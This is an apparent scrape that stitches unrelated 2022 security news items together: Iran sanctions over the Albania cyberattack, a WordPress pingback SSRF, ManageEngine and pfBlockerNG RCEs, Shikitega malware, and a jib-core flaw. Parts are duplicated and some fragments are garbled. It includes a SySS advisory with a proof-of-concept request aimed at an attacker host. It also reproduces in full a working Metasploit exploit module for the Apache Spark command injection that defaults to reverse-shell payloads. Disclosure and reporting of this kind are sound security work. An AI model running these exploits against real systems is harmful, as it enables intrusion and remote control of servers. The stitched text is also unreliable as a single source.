The U.S. Treasury Department on Friday announced sanctions against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies.
"Since at least 2007, the MOIS and its cyber actor proxies have conducted malicious cyber operations targeting a range of government and private-sector

The U.S. Treasury Department on Friday announced sanctions against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies.

"Since at least 2007, the MOIS and its cyber actor proxies have conducted malicious cyber operations targeting a range of government and private-sector organizations around the world and across various critical infrastructure sectors," the Treasury said.

The agency also accused Iranian state-sponsored actors of staging disruptive attacks aimed at Albanian government computer systems in mid-July 2022, forcing it to suspend its online services.

The development comes months nearly nine months after the U.S. Cyber Command characterized the advanced persistent threat (APT) known as MuddyWater as a subordinate element within MOIS. It also comes almost two years following the Treasury's sanctions against another Iranian APT group dubbed APT39 (aka Chafer or Radio Serpens).

Friday's sanctions effectively prohibit U.S. businesses and citizens from engaging in transactions with MOIS and Khatib, and non-U.S. citizens that engage in transactions with the designated entities may themselves be exposed to sanctions.

Coinciding with the economic blockade, the Albanian government said the cyberattack on the digital infrastructure was "orchestrated and sponsored by the Islamic Republic of Iran through the engagement of four groups that enacted the aggression."

Microsoft, which investigated the attacks, said the adversaries worked in tandem to carry out distinct phases of the attacks, with each cluster responsible for a different aspect of the operation -

*   DEV-0842 deployed the ransomware and wiper malware
*   DEV-0861 gained initial access and exfiltrated data
*   DEV-0166 (aka IntrudingDivisor) exfiltrated data, and
*   DEV-0133 (aka Lyceum or Siamese Kitten) probed victim infrastructure

The tech giant's threat intelligence teams also attributed the groups involved in gaining initial access and exfiltrating data to the Iranian MOIS-linked hacking collective codenamed Europium, which is also known as APT34, Cobalt Gypsy, Helix Kitten, or OilRig.

"The attackers responsible for the intrusion and exfiltration of data used tools previously used by other known Iranian attackers," it said in a technical deepdive. "The attackers responsible for the intrusion and exfiltration of data targeted other sectors and countries that are consistent with Iranian interests."

"The Iranian sponsored attempt at destruction had less than a 10% total impact on the customer environment," the company noted, adding the post-exploitation actions involved the use of web shells for persistence, unknown executables for reconnaissance, credential harvesting techniques, and defense evasion methods to turn off security products.

Microsoft's findings dovetail with previous analysis from Google's Mandiant, which called the politically motivated activity a "geographic expansion of Iranian disruptive cyber operations."

Initial access to the network of an Albanian government victim is said to have occurred as early as May 2021 via successful exploitation of a SharePoint remote code execution flaw (CVE-2019-0604), followed by exfiltration of email from the compromised network between October 2021 and January 2022.

A second, parallel wave of email harvesting was observed between November 2021 and May 2022, likely through a tool called Jason. On top of that, the intrusions entailed the deployment of ransomware called ROADSWEEP, eventually leading to the distribution of a wiper malware referred to as ZeroCleare.

Microsoft characterized the destructive campaign as a "form of direct and proportional retaliation" for a string of cyberattacks on Iran, including one staged by an Iranian hacktivist group that's affiliated to Mujahedin-e-Khalq (MEK) in the first week of July 2022.

The MEK, also known as the People's Mujahedin Organization of Iran (PMOI), is an Iranian dissident group largely based in Albania that seeks to overthrow the government of the Islamic Republic of Iran and install its own government.

"Some of the Albanian organizations targeted in the destructive attack were the equivalent organizations and government agencies in Iran that experienced prior cyberattacks with MEK-related messaging," the Windows maker said.

Iran's Foreign Ministry, however, has rejected accusations that the country was behind the digital offensive on Albania, calling them "baseless" and that it's "part of responsible international efforts to deal with the threat of cyberattacks."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

U.S. Imposes New Sanctions on Iran Over Cyberattack on Albania

Issue present in pingback requests feature

Issue present in pingback requests feature

  

Researchers have gone public with a six-year-old blind server-side request forgery (SSRF) vulnerability in a WordPress Core feature that could enable distributed denial-of-service (DDoS) attacks.

In a blog post published this week (September 6), Sonar researchers detailed how they were able to exploit a vulnerability in the pingback requests feature within WordPress.

The vulnerability first surfaced in 2017, yet remains unpatched.

**Pingback problem**

Pingback requests allow WordPress authors to be notified when another website links to their blog.

The pingback functionality is exposed on the XMLRPC API, which can be accessed through the file. Using this method, other blogs can announce pingbacks.

Read more of the latest news about web security vulnerabilities

This feature could enable attackers to perform DDoS attacks by maliciously asking thousands of blogs to check for pingbacks on a single victim server, Sonar researchers explained.

Although pingbacks can be turned off via a checkbox, they are still enabled by default on WordPress instances.

It’s worth noting, the researchers pointed out, that they “couldn’t generically identify ways to leverage this behavior to take over vulnerable instances without relying on other vulnerable services”.

Rather, the bug could ease the exploitation of other vulnerabilities in the affected organization’s internal network.

**Bypassing restrictions**

Thomas Chauchefoin, vulnerability researcher at Sonar and author of the blog, told The Daily Swig: “In 2012, the risks around the pingback feature started to be known, and the WordPress maintainers introduced restrictions on the destination of such requests: they would be limited to a restricted set of ports, only public IP addresses, etc.

“In essence, our finding allows getting around some of these restrictions and targeting hosts from the local network. Attackers could use it to send requests to hosts that wouldn’t have been reachable otherwise, for instance, to exploit a vulnerability in internal services.”

He added: “This bug is in the lineage of most CVEs related to pingbacks, but the oldest indicator of a researcher documenting how to get around this specific restriction is from 2017.”

DON’T MISS WordPress warning: 140k BackupBuddy installations on alert over file-read exploitation

SonarSource researchers disclosed the issue to WordPress on January 21. It was acknowledged as a duplicate bug, according to Sonar, which was reported to the WordPress team in January 2017.

Chauchefoin added: “We reported the vulnerability on January 21 through the official channels, with a pretty standard 90-day disclosure policy. After agreeing to a 30-day extension period, we reviewed a first patch still waiting to be merged upstream. Our publication occurs 228 after our initial report.”

A WordPress Security Team spokesperson told The Daily Swig: “As identified in the Sonar blog post, this is a low-impact issue and exploiting it requires ‘\[chaining\] it to additional vulnerabilities in third-party software’.

“As such, the Security Team considers the issue a low priority.”

They added: “Because of its low severity, the team is discussing whether this issue could be fixed in public as a general hardening measure.”

**Mitigation advice**

WordPress told The Daily Swig that exploiting the bug requires “vulnerabilities in multiple systems outside of WordPress”, but that it recommends website owners always use the DNS servers provided by their hosting provider.

They added: “For the pingbacks, users can turn off pingbacks. The XMLRPC endpoint will only make the HTTP requests (detailed in the Sonar blog post) if pingbacks are open for the post being pinged.

“Website owners can (a) turn off pingbacks globally using the code snippet provided in the original post and/or (b) turn off pingbacks for their blog posts.”

Chauchefoin added: “Going public with unpatched bugs is exceptional for us and was a carefully considered decision. As we had proof that our finding collided with previous public work and that it would require significant work to weaponize against real-world environments, we believe that withholding details any longer would only disadvantage defenders.

“We would like to salute the efforts of the WordPress maintainers; even if we couldn't reach the best outcome possible, backporting fixes for the software behind 40% of all websites is not trivial!”

**Previous pingback issue**

Another vulnerability in the pingback requests feature that allowed DDoS attacks was fixed by WordPress core in 2012.

The issue, reported by Acunetix, could be abused in multiple ways, researchers reported, and was fixed “as a public hardening ticket” in WordPress Core version shortly after discovery.

RECOMMENDED Vendor disputes seriousness of firewall plugin RCE flaw

Six-year-old blind SSRF vulnerability in WordPress Core feature could enable DDoS attacks

Cross-Site Request Forgery (CSRF) vulnerability in gVectors Team wpForo Forum plugin <= 2.0.5 at WordPress.

CVE-2022-38144: wpForo Forum

Authentication-free flaw opened the door to a raft of exploits

Emma Woollacott 09 September 2022 at 12:46 UTC  
Updated: 09 September 2022 at 15:28 UTC

Authentication-free flaw opened the door to a raft of exploits

UPDATED A vulnerability in ManageEngine could allow an attacker to execute arbitrary code on affected installations of some of its password and access management tools.

ManageEngine offers enterprise IT management software for service management, operations management, Active Directory, and security, and is used by 280,000 organizations in 190 countries.

Thanks to the use of a vulnerable version of Apache OFBiz, a Java-based open source enterprise resource planning (ERP) system, remote attackers could have executed arbitrary code on vulnerable installations of Password Manager Pro, access management tool PAM360, and Access Manager Plus, according to a researcher using the name viniciuspereiras.

Catch up on the latest security research news

No authentication would have been needed to exploit this vulnerability in Password Manager Pro or PAM360 products. In the case of Password Manager Pro, an attacker would be able to enter internal networks, compromise data on the server, or crash or shutdown the whole server and applications.

The vulnerable version of Apache OFBiz, dating back to 2020, exposes an XMLRPC endpoint, which is unauthenticated as authentication is only applied on a per-service basis.

However, when the XMLRPC request is processed before authentication, any serialized arguments for the remote invocation are deserialized.

This, according to the researcher, means that if the classpath contains any classes that can be used as gadgets to achieve remote code execution (RCE), an attacker would be able to run arbitrary system commands on any OfBiz server with the same privileges as the servlet container running OfBiz.

The issue – tracked as CVE-2020-9496 – was reported to ManageEngine on 21 June, and it was acknowledged the same day. The vulnerability was resolved in a new release issued three days later.

"I’d like to thank the security community, although I can’t disclose vulnerability information, there were some researchers who managed to go after it and come up with a working poc \[proof of concept\], exploits and Metasploit modules," the blog post reads.

This article has been updated to include clarifications.

RELATED LastPass flags security incident after attackers stole source code, technical information

ManageEngine vulnerability posed code injection risk for password management software

A Server-Side Request Forgery issue in Canto Cumulus through 11.1.3 allows attackers to enumerate the internal network, overload network resources, and possibly have unspecified other impact via the server parameter to the /cwc/login login form.

\-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2022-023 Product: Canto Cumulus Manufacturer: Canto Inc. Affected Version(s): Through 11.1.3 Tested Version(s): 11.1.3 (Build 26f5823e) Vulnerability Type: Server-Side Request Forgery (CWE-918) Risk Level: High Solution Status: Mitigation possible Manufacturer Notification: 2022-03-25 Solution Date: No solution Public Disclosure: 2022-06-01 CVE Reference: Not yet assigned Author of Advisory: Thibaud Kehler, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Canto Cumulus is a digital asset management (DAM).\[1\] Due to missing validation of untrusted input, the Cumulus web server is vulnerable to server-side request forgery (SSRF) with an unknown proprietary protocol. This behavior poses a risk for denial-of-service (DoS) attacks, impersonation attacks and attacks on the protocol with the theoretical result of remote code execution (RCE) or authentication bypass. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: When logging in to the web server via the form at the URL https://hostname.example/cwc/login, a hidden URL parameter 'server' is sent to the server in the respective HTTP POST request to https://hostname.example/cwc/catalog. Afterwards, the web server establishes a TCP connection to the system specified in that request via an unknown protocol. This yields the following problems: \* Denial of service: The web server keeps the TCP connection open for around 60 seconds. This could be misused to fill limited resources on the server or the server's infrastructure, e.g. NAT tables or connection pools, resulting in a DoS. \* Internal port scan: The web server would respond differently if it was able to establish a connection to the specified TCP port. An attacker could use this behavior to conduct a port scan on the internal network. \* Authentication bypass (theoretical): As the server is specified during authentication, it might be possible that the server-side request is used to verify the credentials given to the login form. An attacker could pretend to be an authentication server and forge a successful login or elevated privileges to the web application. \* Protocol attacks (theoretical): The server-side request uses an unknown binary protocol. An attacker might launch further attacks on that protocol, e.g. buffer overflow or deserialization attacks. In the worst case, if the server implementation of the protocol is vulnerable to such attacks, this will result in RCE on the server. SySS recommends restricting web server-side requests to a limited set of trusted servers. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): An attacker can specify an arbitrary IP address / hostname and port, as depicted in the following HTTP POST request: POST /cwc/catalog HTTP/1.1 Host: hostname.example User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:98.0) Gecko/20100101 Firefox/98.0 Content-Type: application/x-www-form-urlencoded Content-Length: 123 OWASP\_CSRFTOKEN=V1UT-I5A9-QIYJ-HG0C-A1UZ-8Z06-VQ6I-Q6CM&user=guest&password=guest&encmpoding=UTF-8&server=server.attacker:80 During the response, the web server connects to the specified TCP port on the specified host via an unknown proprietary protocol: # ncat -nlvp 80 | hexdump -C Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from \[WAN IP\]. Ncat: Connection from \[WAN IP\]:10402. 00000000 00 00 00 28 72 65 63 6f 00 00 00 02 00 00 00 04 |...(reco........| 00000010 63 4d 49 44 4c 6f 6e 67 73 69 52 51 00 00 00 04 |cMIDLongsiRQ....| 00000020 53 65 72 23 4c 6f 6e 67 00 04 77 7b 00 00 00 18 |Ser#Long..w{....| 00000030 72 65 63 6f 00 00 00 01 00 00 00 04 63 4d 49 44 |reco........cMID| 00000040 4c 6f 6e 67 51 75 69 74 |LongQuit| 00000048 If the specified host responds in an unexpected way, the web server closes the server-side connection and responds to the initial HTTP request with HTTP error code 302 and a redirection to an error page: HTTP/1.1 302 Server: nginx Date: Wed, 23 Mar 2022 16:31:43 GMT Content-Type: text/json;charset=utf-8 Content-Length: 0 Connection: keep-alive Set-Cookie: JSESSIONID=02505EB227E875FFAC9CB283AF8F16CB; Path=/cwc; Secure; HttpOnly X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=16070400 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Location: /cwc/error.jspx?errorID=CumulusError&errorTitle=Cumulus+error&errorTitle=Cumulus+error&errorMessage=An+error+occured.&disableButtonDashboard=true If the DNS name cannot be resolved or if the specified TCP port is unreachable, the server responds with HTTP error code 500 and renders the login form with HTML containing an additional error message which states that the server could not be reached. This differing behavior enables the internal port scan. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The manufacturer has not released a patch and will not address the vulnerability. The manufacturer recommends securing the Cumulus server by using a firewall. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-03-18: Vulnerability discovered 2022-03-25: Vulnerability reported to the manufacturer 2022-05-11: Manufacturer informed SySS that it will not address the vulnerability 2022-06-01: Public disclosure of the vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: \[1\] Product website for Canto Cumulus https://www.canto.com/de/cumulus/ \[2\] SySS Security Advisory SYSS-2022-023 (not yet published) https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-023.txt \[3\] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Thibaud Kehler of SySS GmbH. E-Mail: thibaud.kehler@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Thibaud\_Kehler.asc Key ID: 0xB645 7D7A Key Fingerprint: CF29 54F1 1B7F 2FF5 7ED9 9BAD E9C7 9866 B645 7D7A ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEzylU8Rt/L/V+2Zut6ceYZrZFfXoFAmKWCXIACgkQ6ceYZrZF fXqI7A//ZiwtJccj1fcb1EcVK1l4jHU3ZXcJrcYFib4jqzYgZ+NQXA1OVFmJ8P9a MaK9/9GCTjRUnHL0zJfv2Q18GwDaFcq3Ecv61l0IttgOwPmZk3bdGhbiZbuNkid9 n8WBCtzMoPYb8b8BvGDmbjhGcIWfLBJ4hf9nspeIP12MtYNe0qwYXQJsDrZwmUgu bqD5AnXItyYSDe690LRweAh5vAtdvtp+7SQLOPfi49QyG9sxb9jw1qsK8KVZNutt nIwSD5SFrCCgVvEn6E02FHGW7ttEivxSPTN60FsoGhhCD7V1zeu2teNaZvarETek cnSuYgNNBCdPhCm6WDDMgw5vNOUqg0UE1CqZjZ84DBOu4ABBMF4PV9JBFYbOeWTK XYmVsREJVFnvF+qmXDVfEoByaKsXX1yIZkJwGYFXGS3bvFpaipMGLbRFzc49abPI sv5Vth94AmnTyHsG73tM93d3y5BRLpwxwuRSmG5PRzbuZet8ThPH4Hoc1OAysNTa zsCm3VkSemX0Ba8z6mL4IwuknYoetuKQli37jAx7jGsfetFc9tKvHsk3dQ9w+wQG 040DaLa8NsBh+b1PeQZj6AVC+qH6OgGADl5l0Dnh3VcQW3eWUV0YgQofgOsbili6 6CGZNJwE8HkWX5U4HuTaF/A3b8BaFd0IailYTDGc3SaLz4XOAyU= =FDje -----END PGP SIGNATURE-----

CVE-2022-40305

The package com.google.cloud.tools:jib-core before 0.22.0 are vulnerable to Remote Code Execution (RCE) via the isDockerInstalled function, due to attempting to execute input.

**com.google.cloud.tools:jib-core vulnerable to Remote Code Execution (RCE)**

Critical severity GitHub Reviewed Published Sep 9, 2022 • Updated Sep 15, 2022

GHSA-936v-cg49-m2g5: com.google.cloud.tools:jib-core vulnerable to Remote Code Execution (RCE)

By Deeba Ahmed
The stealthy malware leverages security flaws to gain privilege escalation and establish persistence.
This is a post from HackRead.com Read the original post: Stealthy Linux Malware Shikitega Deploying Monero Cryptominer

AT&T Alien Labs reports that a new Linux malware dubbed Shikitega infects computers and **IoT devices** (internet of things) with multiple payloads. The stealthy malware leverages security flaws to gain privilege escalation and establish persistence. After the attacker controls the system, a **cryptocurrency miner** is deployed.

**Infection Chain Analysis**

As **pointed out** by AT&T Alien Labs, Shikitega malware entails a multi-step infection chain. It delivers a few hundred bytes per layer to encourage module activation. Each module responds to a different part of the payload, after which the next one is executed.

The malware allows attackers to control the system completely and run cryptominers. Each module has a specific task, such as downloading/executing **meterpreter Metasploit**, setting persistence on the infected device, exploiting Linux flaws, and downloading/executing a **cryptominer**.

The method to gain initial compromise is yet unknown. The first infection layer is a 370 bytes ELF file containing the encoded shellcode. After the decryption is completed, the final Mettle payload with remote code execution and control capabilities is executed through “int 0x80,” which helps execute the appropriate syscall.

Afterward, it downloads and runs other commands received from its C2 server by calling 102 syscall. The commands aren’t stored in the hard drive but executed from memory. Mettle retrieves a smaller ELF file that downloads and executes the cryptominer.

Shikitega operation process

Furthermore, Shikitega uses a polymorphic XOR additive feedback encoder dubbed **Shikata Ga Nai**. It was previously examined by researchers, which reported that each encoded shellcode it creates is different from the rest because it uses several techniques like dynamic block ordering, dynamic instruction substitution, and randomization of instruction spacing between instructions.

In this campaign, this encoder is employed to make detection by antivirus engines complex and exploit cloud services.

> “Shiketega malware is delivered in a sophisticated way, it uses a polymorphic encoder, and it gradually delivers its payload where each step reveals only part of the total payload.”
> 
> Ofer Caspi – AT&T

Shikitega is an evasive malware because it can download next-stage payloads from a C2 server and directly executes them in memory. It achieves privilege escalation through exploiting PwnKit or **CVE-2021-4034** and **CVE-2021-3493**. The attacker can easily abuse the elevated permissions to fetch the final stage shellcode scripts with root privileges and deploy **Monero cryptominer**.

1.  **New Linux malware is evading detection to mine cryptocurrency**
2.  **Old crypto malware makes come back, hits Windows, Linux devices**
3.  **New Linux Malware Installs Bitcoin Mining Software on Infected Device**
4.  **Golang malware infecting Windows, and Linux servers with XMRig miner**
5.  **ElectroRat crypto-stealing malware hits macOS, Windows, Linux devices**

Stealthy Linux Malware Shikitega Deploying Monero Cryptominer

pfSense and sensibility

Security researchers from IHTeam have uncovered a serious vulnerability in a plugin to the pfSense firewall technology.

The affected pfBlockerNG plugin is not installed by default and the problem was, in any case, resolved by a software update published in June.

This is just as well because the underlying flaw created an unauthenticated remote code execution (RCE) as root risk on affected installations, according to IHTeam. The pfSense pfBlockerNG vulnerability is tracked as CVE-2022-31814.

**Root cause analysis**

pfSense is a firewall/router software distribution based on FreeBSD. The open source\-based network firewall technology can be installed on bare metal or as a virtual appliance.

pfBlockerNG is a plugin component available within pfSense that will facilitate allow-listing or deny-listing of entire IP ranges. It is often used to block entire countries from communicating with networks running pfSense, according to researchers, who point out several factors that call particular attention to the problem.

“The vulnerability is a remote command execution exploitable from an unauthenticated perspective and, on top of that, the web server is running with root privileges,” a representation of IHTeam told The Daily Swig.

Read more of the latest network security news

Importantly, the vulnerability is limited to a plugin of pfSense that is not installed by default.

“It is difficult to say how many systems are affected without actively crawling each of the exposed system,” according to IHTeam.

Accordingly to Shodan, there are around 27,000 exposed pfSense machines on the internet. This should not be taken as any indication of the number of vulnerable systems since many will not be running the affected pfBlockerNG plugin, without considering that even vulnerable installations have likely been patched since the software was updated.

In response to a query from The Daily Swig, the developer of pfBlockerNG said: “The only version that was affected is version 2.1.4\_26 and below. This has been patched and can be upgraded in pkg manager. pfBlockerNG-devel is unaffected and is the recommended version to use.”

**Practical impact**

Netgate, which distributes the pfSense firewall, added in response to a related query: “The problem they \[the researchers\] found was in the pfBlockerNG package but had already been addressed in the pfBlockerNG-devel \[latest, cutting edge version of the\] package, which is the version the package maintainer recommends everyone use.”

Netgate stated that for the problem to become exposed “requires access to the web server on the firewall (which should never be open on WAN and is often restricted internally when configured per best practices), the overall practical impact was considered extremely low despite it having a high score in theory.”

IHTeam said that developers are still shipping and allowing users to install between the 2.x branch and the 3.x branch (the -development one).

“The misunderstanding can be easily resolved it they would simply remove the 2.x branch from the available plugin list,” the researchers added.

IHTeam came across the vulnerability in pfBlockerNG during an independent security assessment of what turned out to be a vulnerable version of the product. A technical write-up of the issue was published in a blog post by IHTeam on Monday (September 5).

**Dev lessons**

A researcher from IHTeam, who asked not to be named, told The Daily Swig that the characteristics of the bug offered lessons for other software developers.

The researcher explained: “To avoid these types of vulnerabilities, developers should take extra care while handling user input (not only via direct and requests, but also via input that might be passed in request headers such as , or ).

“All user input should be carefully analysed and sanitised before being passed to the application. This is also valid for other types of attacks such as cross-site scripting (XSS) or SQL injection, not only for command execution,” they added.

RELATED WatchGuard firewall exploit threatens appliance takeover

Vendor disputes seriousness of firewall plugin RCE flaw

This Metasploit module exploits an unauthenticated command injection vulnerability in Apache Spark. Successful exploitation results in remote code execution under the context of the Spark application user. The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command. It is triggered by a non-default setting called spark.acls.enable. This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack. Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/stopwatch'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Spark Unauthenticated Command Injection RCE',        'Description' => %q{          This module exploits an unauthenticated command injection vulnerability in Apache Spark.          Successful exploitation results in remote code execution under the context of the Spark application user.          The command injection occurs because Spark checks the group membership of the user passed          in the ?doAs parameter by using a raw Linux command.          It is triggered by a non-default setting called spark.acls.enable.          This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.          Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.        },        'License' => MSF_LICENSE,        'Author' => [          'Kostya Kortchinsky', # Security researcher and discovery of the vulnerability          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author & Metasploit module        ],        'References' => [          ['URL', 'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc'], # Disclosure          ['URL', 'https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891'], # Analysis          ['CVE', '2022-33891']        ],        'DefaultOptions' => {          'SSL' => false,          'WfsDelay' => 5        },        'Platform' => %w[unix linux],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Targets' => [          [            'Unix (In-Memory)',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :in_memory,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_python'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :dropper,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'CmdStagerFlavor' => ['printf', 'curl'],        'DefaultTarget' => 0,        'Privileged' => false,        'DisclosureDate' => '2022-07-18',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080),        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])      ]    )  end  def execute_command(cmd, _opts = {})    b64 = Rex::Text.encode_base64(cmd)    post_data = "doAs=\`echo #{b64} | base64 -d | bash\`"    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/'),      'data' => post_data    })  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e    elog("A communication error occurred: #{e.message}", error: e)  end  def check    print_status("Checking if #{peer} can be exploited!")    res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")    return CheckCode::Unknown('Did not receive a response from target.') unless res    if res.code != 403      return CheckCode::Safe('Target did not respond with a 403 response.')    end    sleep_time = rand(5..10)    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")    res, elapsed_time = Rex::Stopwatch.elapsed_time do      execute_command("sleep #{sleep_time}")    end    print_status("Elapsed time: #{elapsed_time} seconds.")    unless res && elapsed_time >= sleep_time      return CheckCode::Safe('Failed to test command injection.')    end    CheckCode::Vulnerable('Successfully tested command injection.')  end  def exploit    print_status('Exploiting...')    case target['Type']    when :in_memory      execute_command(payload.encoded)    when :dropper      execute_cmdstager(linemax: 1024) # set an appropriate :linemax dependent upon available space    end  endend

Apache Spark Unauthenticated Command Injection

The package com.google.cloud.tools:jib-core before 0.22.0 are vulnerable to Remote Code Execution (RCE) via the isDockerInstalled function, due to attempting to execute input.



**Conversation**

\*

\* @return {@code true} if Docker is installed on the user's system and accessible

\*/

public static boolean isDefaultDockerInstalled() {

return isDockerInstalled(DEFAULT\_DOCKER\_CLIENT);

try {

new ProcessBuilder(DEFAULT\_DOCKER\_CLIENT.toString()).start();

\*

\* @return {@code true} if Docker is installed on the user's system and accessible

\*/

public static boolean isDefaultDockerInstalled() {

return isDockerInstalled(DEFAULT\_DOCKER\_CLIENT);

try {

new ProcessBuilder(DEFAULT\_DOCKER\_CLIENT.toString()).start();

This was referenced

Aug 25, 2022

 mpeddada1 marked this pull request as ready for review

Aug 25, 2022

CVE-2022-25914: Check if file exists when executable path is passed in through jib dockerClient.executable by mpeddada1 · Pull Request #3744 · GoogleContainerTools/jib

Tag

#rce